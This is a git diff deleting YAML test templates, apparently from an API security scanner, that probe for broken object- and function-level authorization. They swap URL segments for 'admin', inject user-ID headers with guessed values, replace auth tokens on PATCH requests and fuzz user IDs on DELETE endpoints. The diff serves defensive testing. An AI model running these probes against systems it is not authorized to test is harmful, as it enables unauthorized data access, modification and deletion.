diff --git a/Broken-Function-Level-Authorization/BFLAReplaceAdminURLPaths.yml b/Broken-Function-Level-Authorization/BFLAReplaceAdminURLPaths.yml
deleted file mode 100644
index 150d9d24..00000000
--- a/Broken-Function-Level-Authorization/BFLAReplaceAdminURLPaths.yml
+++ /dev/null
@@ -1,115 +0,0 @@
-id: BFLA_REPLACE_ADMIN_IN_URL_PATHS
-info:
- name: "Broken Function Level Authorization - Vertical Privilege Escalation test by replacing URL subpaths with admin keyword for new URL path identification"
- description: >
- "In this test, attackers manipulate URL paths by replacing URL subpaths with "admin" keywords to access privileged functionalities. This tactic aims to bypass access controls and gain unauthorized entry to administrative features or sensitive data. By exploiting this vulnerability, attackers can escalate their privileges within the system and potentially compromise its security."
- details: >
- In this test, attackers exploit weaknesses in function level authorization by replacing URL subpaths with keywords like "admin" to access privileged functionalities. By replacing specific subpaths, they attempt to bypass access controls and gain unauthorized entry to administrative features or sensitive areas of the application. This tactic aims to escalate privileges within the system, potentially compromising its security and allowing for unauthorized access to critical resources."
- impact: >
- "The impact of this test can be significant. Attackers can exploit this vulnerability to gain unauthorized access to privileged functionalities, leading to data breaches, system compromise, and unauthorized actions. This can result in the exposure of sensitive information, compromise of user accounts, and damage to the organization's reputation and trust."
-
- category:
- name: BFLA
- shortName: Broken Function Level Authorization
- displayName: Broken Function Level Authorization (BFLA)
- subCategory: BFLA_REPLACE_ADMIN_IN_URL_PATHS
- severity: HIGH
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://owasp.org/API-Security/editions/2023/en/0xa5-broken-function-level-authorization/"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa5-broken-function-level-authorization.md"
- cwe:
- - CWE-285
- cve:
- - CVE-2022-48341
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- neq: "OPTIONS"
- response_payload:
- length:
- gt: 0
- contains_all:
- - "{"
- - "}"
-execute:
- type: multiple
- requests:
- - req:
- - modify_header:
- ${roles_access_context.MEMBER}: 1
- - modify_url:
- token_replace:
- location: 1
- replace_with: "admin"
- - success: vulnerable
- - failure: x2
- - req:
- - modify_header:
- ${roles_access_context.MEMBER}: 1
- - modify_url:
- token_replace:
- location: 2
- replace_with: "admin"
- - success: vulnerable
- - failure: x3
- - req:
- - modify_header:
- ${roles_access_context.MEMBER}: 1
- - modify_url:
- token_replace:
- location: 3
- replace_with: "admin"
- - success: vulnerable
- - failure: x4
- - req:
- - modify_header:
- ${roles_access_context.MEMBER}: 1
- - modify_url:
- token_replace:
- location: 4
- replace_with: "admin"
- - success: vulnerable
- - failure: x5
- - req:
- - modify_header:
- ${roles_access_context.MEMBER}: 1
- - modify_url:
- token_replace:
- location: 5
- replace_with: "admin"
-validate:
- response_code:
- gte: 200
- lt: 300
- url:
- endpoint_in_traffic_context: false
- response_payload:
- length:
- gt: 0
- percentage_match:
- lt: 10
- percentage_match_schema:
- gte: 90
- not_contains:
- -
- -
- - "unable"
- - "fail"
- - invalid
- contains_all:
- - "{"
- - "}"
\ No newline at end of file
diff --git a/Broken-Object-Level-Authorization/BOLAAddCustomHeader.yml b/Broken-Object-Level-Authorization/BOLAAddCustomHeader.yml
deleted file mode 100644
index f7547598..00000000
--- a/Broken-Object-Level-Authorization/BOLAAddCustomHeader.yml
+++ /dev/null
@@ -1,143 +0,0 @@
-id: BOLA_ADD_CUSTOM_HEADER
-info:
- name: "Exploiting BOLA by adding Custom Header for Unauthorized Access."
- description: >
- "In this exploitation scenario, attackers target Broken Object Level Authorization (BOLA) by adding custom headers to their requests, attempting to gain unauthorized access. By manipulating request headers, adversaries seek to exploit weaknesses in authorization mechanisms, potentially bypassing security controls. This method underscores the need for thorough security assessments, emphasizing the importance of secure header handling and robust access controls to mitigate the risks associated with unauthorized access and BOLA vulnerabilities."
- details: >
- "Attackers exploit Broken Object Level Authorization (BOLA) by adding custom headers to their requests, attempting unauthorized access. Manipulating headers aims to exploit vulnerabilities in the system's authorization mechanisms, highlighting the need for robust security assessments and secure header handling. Thorough security measures are essential to prevent unauthorized access, addressing the risks associated with BOLA vulnerabilities and custom header manipulation."
- impact: >
- "Exploiting Broken Object Level Authorization by adding custom headers can have a profound impact, potentially leading to unauthorized access and compromise of sensitive data. Successful manipulation may enable malicious actions within the system, emphasizing the critical need for stringent security measures, robust access controls, and secure handling of custom headers to prevent and mitigate the risks associated with
- Broken Object Level Authorization vulnerabilities."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_ADD_CUSTOM_HEADER
- severity: HIGH
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-attributes:
- nature: NON_INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-inactive: true
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- neq: "OPTIONS"
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
-wordLists:
- headerValues:
- source: sample_data
- key:
- regex: X-User-ID|Customer|Member|Client|Account|Subscriber|User-Hash
- location: header
- all_apis: true
-execute:
- type: multiple
- requests:
- - req:
- - add_header:
- X-User-ID: "${headerValues}"
- - add_header:
- X-Customer-ID: "${headerValues}"
- - add_header:
- X-Member-ID: "${headerValues}"
- - add_header:
- X-Client-ID: "${headerValues}"
- - add_header:
- X-Account-ID: "${headerValues}"
- - add_header:
- X-Subscriber-ID: "${headerValues}"
- - add_header:
- X-User-Hash: "${headerValues}"
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- percentage_match_schema:
- gte: 90
- percentage_match:
- lt: 10
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - ""
- - ""
diff --git a/Broken-Object-Level-Authorization/BOLAAddCustomHeaderDELETE.yml b/Broken-Object-Level-Authorization/BOLAAddCustomHeaderDELETE.yml
deleted file mode 100644
index e2c8d4c6..00000000
--- a/Broken-Object-Level-Authorization/BOLAAddCustomHeaderDELETE.yml
+++ /dev/null
@@ -1,136 +0,0 @@
-id: BOLA_ADD_CUSTOM_HEADER_DELETE
-info:
- name: "Exploiting BOLA by adding Custom Header for Unauthorized Access for DELETE method APIs"
- description: >
- "In this exploitation scenario for DELETE method APIs, attackers target Broken Object Level Authorization (BOLA) by adding custom headers to their requests, attempting to gain unauthorized access. By manipulating request headers, adversaries seek to exploit weaknesses in authorization mechanisms, potentially bypassing security controls. This method underscores the need for thorough security assessments, emphasizing the importance of secure header handling and robust access controls to mitigate the risks associated with unauthorized access and BOLA vulnerabilities."
- details: >
- "Attackers exploit Broken Object Level Authorization (BOLA) by adding custom headers to their requests (having DELETE HTTP method), attempting unauthorized access. Manipulating headers aims to exploit vulnerabilities in the system's authorization mechanisms, highlighting the need for robust security assessments and secure header handling. Thorough security measures are essential to prevent unauthorized access, addressing the risks associated with BOLA vulnerabilities and custom header manipulation."
- impact: >
- "Exploiting Broken Object Level Authorization by adding custom headers can have a profound impact, potentially leading to unauthorized access and compromise of sensitive data. Successful manipulation may enable malicious actions within the system, emphasizing the critical need for stringent security measures, robust access controls, and secure handling of custom headers to prevent and mitigate the risks associated with Broken Object Level Authorization vulnerabilities."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_ADD_CUSTOM_HEADER_DELETE
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-inactive: true
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- eq: DELETE
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
-wordLists:
- headerValues:
- source: sample_data
- key:
- regex: X-User-ID|Customer|Member|Client|Account|Subscriber|User-Hash
- location: header
- all_apis: true
-execute:
- type: single
- requests:
- - req:
- - add_header:
- X-User-ID: "${headerValues}"
- - add_header:
- X-Customer-ID: "${headerValues}"
- - add_header:
- X-Member-ID: "${headerValues}"
- - add_header:
- X-Client-ID: "${headerValues}"
- - add_header:
- X-Account-ID: "${headerValues}"
- - add_header:
- X-Subscriber-ID: "${headerValues}"
- - add_header:
- X-User-Hash: "${headerValues}"
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Fail
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
diff --git a/Broken-Object-Level-Authorization/BOLAAddCustomHeaderIntegerID.yml b/Broken-Object-Level-Authorization/BOLAAddCustomHeaderIntegerID.yml
deleted file mode 100644
index d6d065ca..00000000
--- a/Broken-Object-Level-Authorization/BOLAAddCustomHeaderIntegerID.yml
+++ /dev/null
@@ -1,143 +0,0 @@
-id: BOLA_ADD_CUSTOM_HEADER_INTEGER_ID
-info:
- name: "Exploiting BOLA by adding Custom Header with Integer IDs for Unauthorized Access."
- description: >
- "In this exploitation scenario, attackers target Broken Object Level Authorization (BOLA) by adding custom headers with Integer IDs to their requests, attempting to gain unauthorized access. By manipulating request headers, adversaries seek to exploit weaknesses in authorization mechanisms, potentially bypassing security controls. This method underscores the need for thorough security assessments, emphasizing the importance of secure header handling and robust access controls to mitigate the risks associated with unauthorized access and BOLA vulnerabilities."
- details: >
- "Attackers exploit Broken Object Level Authorization (BOLA) by adding custom headers to their requests, attempting unauthorized access. Manipulating headers aims to exploit vulnerabilities in the system's authorization mechanisms, highlighting the need for robust security assessments and secure header handling. Thorough security measures are essential to prevent unauthorized access, addressing the risks associated with BOLA vulnerabilities and custom header manipulation."
- impact: >
- "Exploiting Broken Object Level Authorization by adding custom headers can have a profound impact, potentially leading to unauthorized access and compromise of sensitive data. Successful manipulation may enable malicious actions within the system, emphasizing the critical need for stringent security measures, robust access controls, and secure handling of custom headers to prevent and mitigate the risks associated with
- Broken Object Level Authorization vulnerabilities."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_ADD_CUSTOM_HEADER_INTEGER_ID
- severity: HIGH
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-attributes:
- nature: NON_INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-inactive: true
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- neq: "OPTIONS"
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
-wordLists:
- headerValues:
- - 1
- - 2
- - 3
- - 4
- - 5
-execute:
- type: single
- requests:
- - req:
- - add_header:
- X-User-ID: "${headerValues}"
- - add_header:
- X-Customer-ID: "${headerValues}"
- - add_header:
- X-Member-ID: "${headerValues}"
- - add_header:
- X-Client-ID: "${headerValues}"
- - add_header:
- X-Account-ID: "${headerValues}"
- - add_header:
- X-Subscriber-ID: "${headerValues}"
- - add_header:
- X-User-Hash: "${headerValues}"
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- percentage_match_schema:
- gte: 90
- percentage_match:
- lt: 10
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - ""
- - ""
diff --git a/Broken-Object-Level-Authorization/BOLAAddCustomHeaderIntegerIDDELETE.yml b/Broken-Object-Level-Authorization/BOLAAddCustomHeaderIntegerIDDELETE.yml
deleted file mode 100644
index d63618ed..00000000
--- a/Broken-Object-Level-Authorization/BOLAAddCustomHeaderIntegerIDDELETE.yml
+++ /dev/null
@@ -1,136 +0,0 @@
-id: BOLA_ADD_CUSTOM_HEADER_INTEGER_ID_DELETE
-info:
- name: "Exploiting BOLA by adding Custom Header with Integer IDs for Unauthorized Access for DELETE method APIs"
- description: >
- "In this exploitation scenario for DELETE HTTP method APIs, attackers target Broken Object Level Authorization (BOLA) by adding custom headers with Integer IDs to their requests, attempting to gain unauthorized access. By manipulating request headers, adversaries seek to exploit weaknesses in authorization mechanisms, potentially bypassing security controls. This method underscore the need for thorough security assessments, emphasizing the importance of secure header handling and robust access controls to mitigate the risks associated with unauthorized access and BOLA vulnerabilities."
- details: >
- "Attackers exploit Broken Object Level Authorization (BOLA) by adding custom headers to their requests (having DELETE HTTP method), attempting unauthorized access. Manipulating headers aims to exploit vulnerabilities in the system's authorization mechanisms, highlighting the need for robust security assessments and secure header handling. Thorough security measures are essential to prevent unauthorized access, addressing the risks associated with BOLA vulnerabilities and custom header manipulation."
- impact: >
- "Exploiting Broken Object Level Authorization by adding custom headers can have a profound impact, potentially leading to unauthorized access and compromise of sensitive data. Successful manipulation may enable malicious actions within the system, emphasizing the critical need for stringent security measures, robust access controls, and secure handling of custom headers to prevent and mitigate the risks associated with Broken Object Level Authorization vulnerabilities."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_ADD_CUSTOM_HEADER_INTEGER_ID_DELETE
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-inactive: true
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- eq: DELETE
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
-wordLists:
- headerValues:
- - 1
- - 2
- - 3
- - 4
- - 5
-execute:
- type: single
- requests:
- - req:
- - add_header:
- X-User-ID: "${headerValues}"
- - add_header:
- X-Customer-ID: "${headerValues}"
- - add_header:
- X-Member-ID: "${headerValues}"
- - add_header:
- X-Client-ID: "${headerValues}"
- - add_header:
- X-Account-ID: "${headerValues}"
- - add_header:
- X-Subscriber-ID: "${headerValues}"
- - add_header:
- X-User-Hash: "${headerValues}"
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
diff --git a/Broken-Object-Level-Authorization/BOLAAddCustomHeaderIntegerIDPATCH.yml b/Broken-Object-Level-Authorization/BOLAAddCustomHeaderIntegerIDPATCH.yml
deleted file mode 100644
index 2d1baecf..00000000
--- a/Broken-Object-Level-Authorization/BOLAAddCustomHeaderIntegerIDPATCH.yml
+++ /dev/null
@@ -1,138 +0,0 @@
-id: BOLA_ADD_CUSTOM_HEADER_INTEGER_ID_PATCH
-info:
- name: "Exploiting BOLA by adding Custom Header with Integer IDs for Unauthorized Access for PATCH/PUT method APIs"
- description: >
- "In this exploitation scenario for PATCH/PUT HTTP method APIs, attackers target Broken Object Level Authorization (BOLA) by adding custom headers with Integer IDs to their requests, attempting to gain unauthorized access. By manipulating request headers, adversaries seek to exploit weaknesses in authorization mechanisms, potentially bypassing security controls. This method underscore the need for thorough security assessments, emphasizing the importance of secure header handling and robust access controls to mitigate the risks associated with unauthorized access and BOLA vulnerabilities."
- details: >
- "Attackers exploit Broken Object Level Authorization (BOLA) by adding custom headers to their requests (having PATCH/PUT HTTP methods), attempting unauthorized access. Manipulating headers aims to exploit vulnerabilities in the system's authorization mechanisms, highlighting the need for robust security assessments and secure header handling. Thorough security measures are essential to prevent unauthorized access, addressing the risks associated with BOLA vulnerabilities and custom header manipulation."
- impact: >
- "Exploiting Broken Object Level Authorization by adding custom headers can have a profound impact, potentially leading to unauthorized access and compromise of sensitive data. Successful manipulation may enable malicious actions within the system, emphasizing the critical need for stringent security measures, robust access controls, and secure handling of custom headers to prevent and mitigate the risks associated with Broken Object Level Authorization vulnerabilities."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_ADD_CUSTOM_HEADER_INTEGER_ID_PATCH
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-inactive: true
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- contains_either:
- - PUT
- - PATCH
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
-wordLists:
- headerValues:
- - 1
- - 2
- - 3
- - 4
- - 5
-execute:
- type: single
- requests:
- - req:
- - add_header:
- X-User-ID: "${headerValues}"
- - add_header:
- X-Customer-ID: "${headerValues}"
- - add_header:
- X-Member-ID: "${headerValues}"
- - add_header:
- X-Client-ID: "${headerValues}"
- - add_header:
- X-Account-ID: "${headerValues}"
- - add_header:
- X-Subscriber-ID: "${headerValues}"
- - add_header:
- X-User-Hash: "${headerValues}"
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
diff --git a/Broken-Object-Level-Authorization/BOLAByChangingAuthTokenWithPATCHMethod.yml b/Broken-Object-Level-Authorization/BOLAByChangingAuthTokenWithPATCHMethod.yml
deleted file mode 100644
index 0a8fda01..00000000
--- a/Broken-Object-Level-Authorization/BOLAByChangingAuthTokenWithPATCHMethod.yml
+++ /dev/null
@@ -1,199 +0,0 @@
-id: REPLACE_AUTH_TOKEN_PATCH
-info:
- name: BOLA by changing auth token with PATCH method
- description: "Broken Object Level Authorization (BOLA) by changing the auth token with the PATCH method involves manipulating an API request to replace the authorization token in the request header or body. If the API lacks proper checks, this can allow attackers to modify or access data for unauthorized users. It's a critical vulnerability that arises due to insufficient validation of user permissions at the object level."
- details: "In this BOLA attack, the attacker intercepts a PATCH request and replaces their auth token with another user's token, aiming to update or manipulate resources they don’t own. If the API doesn’t validate the user’s ownership of the resource, the unauthorized change is accepted. This vulnerability often occurs due to inadequate access control checks for object-level operations."
- impact: "The impact of this BOLA vulnerability can be severe, as it allows unauthorized users to modify or manipulate sensitive data belonging to other users. This can lead to data breaches, unauthorized changes to critical records, and potential escalation of privileges. It undermines trust in the application's security and may result in regulatory non-compliance and financial loss."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: REPLACE_AUTH_TOKEN_PATCH
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2023-39349
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- eq: "PATCH"
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
-execute:
- type: multiple
- requests:
- - req:
- - modify_method: "GET"
- - replace_body: '{}'
- - validate:
- response_code:
- gte: 200
- lt: 300
- extract: x1ResponseCode
- response_payload:
- for_one:
- key:
- regex: '\b(?:user[-_]?id|userid|userId|user[-_]?identifier)\b'
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - success: x2
- - failure: exit
- - req:
- - replace_auth_header: true
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - success: x3
- - failure: exit
- - req:
- - replace_body: '{}'
- - modify_method: GET
- - validate:
- response_code:
- eq: ${x1ResponseCode}
- response_payload:
- for_one:
- key:
- regex: '\b(?:user[-_]?id|userid|userId|user[-_]?identifier)\b'
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - success: vulnerable
- - failure: exit
diff --git a/Broken-Object-Level-Authorization/BOLAByFuzzingUserIDDELETE.yml b/Broken-Object-Level-Authorization/BOLAByFuzzingUserIDDELETE.yml
deleted file mode 100644
index 9a73d27d..00000000
--- a/Broken-Object-Level-Authorization/BOLAByFuzzingUserIDDELETE.yml
+++ /dev/null
@@ -1,135 +0,0 @@
-id: FUZZ_USER_ID_DELETE
-info:
- name: "BOLA by Accessing Existing User Data Through User ID Fuzzing for DELETE method APIs"
- description: >
- "This specific test involves accessing existing user data through new user ID fuzzing (where HTTP method is DELETE), where attackers manipulate identifiers like UUIDs, string IDs, and integers to exploit vulnerabilities and gain unauthorized access. This highlights the critical need for robust user ID handling to prevent Business Logic Abuse and protect against unauthorized data exposure."
- details: >
- "Attackers exploit a BOLA vulnerability by capturing a new user's ID and fuzzing it (where HTTP method is DELETE) with variations such as UUIDs, string IDs, and integer IDs. This manipulation allows them to gain unauthorized access to existing user data, potentially leading to privacy breaches and unauthorized disclosures. It underscores the importance of secure user ID handling and highlights the risks associated with BOLA abuse in systems."
- impact: >
- "The impact of this test can be severe, potentially leading to unauthorized access to sensitive user information. Exploiting business logic vulnerabilities in this manner may result in privacy breaches, unauthorized disclosures, and compromise the integrity of user data. Addressing such vulnerabilities promptly is crucial to prevent unauthorized access, protect user privacy, and maintain the overall security posture of the system."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: FUZZ_USER_ID_DELETE
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2023-39349
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- eq: DELETE
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
